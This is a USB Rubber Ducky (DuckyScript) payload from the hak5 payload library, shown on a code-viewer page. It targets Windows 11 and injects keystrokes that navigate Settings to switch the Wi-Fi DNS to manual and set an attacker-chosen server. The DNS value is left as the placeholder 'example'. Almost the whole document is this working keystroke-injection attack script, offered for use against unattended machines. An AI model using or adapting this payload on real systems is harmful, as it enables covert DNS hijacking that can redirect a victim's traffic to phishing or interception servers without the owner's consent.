Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/execution/Set_An_Arbitrary_DNS-IPv4_version/payload.txt
3018 views
1
REM ########################################################
2
REM # |
3
REM # Title : Set An Arbitrary DNS (IPv4 version) |
4
REM # Author : Aleff |
5
REM # Version : 1.0 |
6
REM # Category : Execution |
7
REM # Target : Windows 11 |
8
REM # |
9
REM ########################################################
10
11
12
REM Requirements:
13
REM - Nothing
14
15
16
REM DNS IPv4 like Cloudflare DNS 1.1.1.1
17
DEFINE DNS example
18
19
20
REM Open Settings
21
DELAY 1000
22
GUI
23
DELAY 1000
24
STRING settings
25
DELAY 1000
26
ENTER
27
28
REM Go to network settings
29
DELAY 1000
30
DOWNARROW
31
DELAY 500
32
DOWNARROW
33
DELAY 500
34
DOWNARROW
35
DELAY 500
36
ENTER
37
38
REM Go to Wi-Fi settings
39
DELAY 1000
40
TAB
41
DELAY 500
42
TAB
43
DELAY 500
44
TAB
45
DELAY 500
46
TAB
47
DELAY 500
48
ENTER
49
50
REM Go to hardware properties settings
51
DELAY 1000
52
TAB
53
DELAY 500
54
TAB
55
DELAY 500
56
TAB
57
DELAY 500
58
TAB
59
DELAY 500
60
TAB
61
DELAY 500
62
TAB
63
DELAY 500
64
TAB
65
DELAY 500
66
TAB
67
DELAY 500
68
TAB
69
DELAY 500
70
TAB
71
DELAY 500
72
TAB
73
DELAY 500
74
TAB
75
DELAY 500
76
TAB
77
DELAY 500
78
TAB
79
DELAY 500
80
TAB
81
DELAY 500
82
TAB
83
DELAY 500
84
ENTER
85
86
REM DNS Settings
87
DELAY 500
88
TAB
89
DELAY 500
90
TAB
91
DELAY 500
92
ENTER
93
94
REM Change to manual
95
DELAY 1000
96
SPACE
97
DELAY 500
98
DOWNARROW
99
DELAY 500
100
ENTER
101
102
REM Set the DNS server
103
DELAY 1000
104
TAB
105
DELAY 500
106
SPACE
107
DELAY 500
108
TAB
109
DELAY 500
110
STRING DNS
111
DELAY 500
112
TAB
113
DELAY 500
114
ENTER
115
116
REM Save settings
117
DELAY 1000
118
DOWNARROW
119
DELAY 500
120
ENTER
121
DELAY 1000
122
TAB
123
DELAY 500
124
TAB
125
DELAY 500
126
TAB
127
DELAY 500
128
TAB
129
DELAY 500
130
TAB
131
DELAY 500
132
ENTER
133
DELAY 500
134
ALT F4
135
136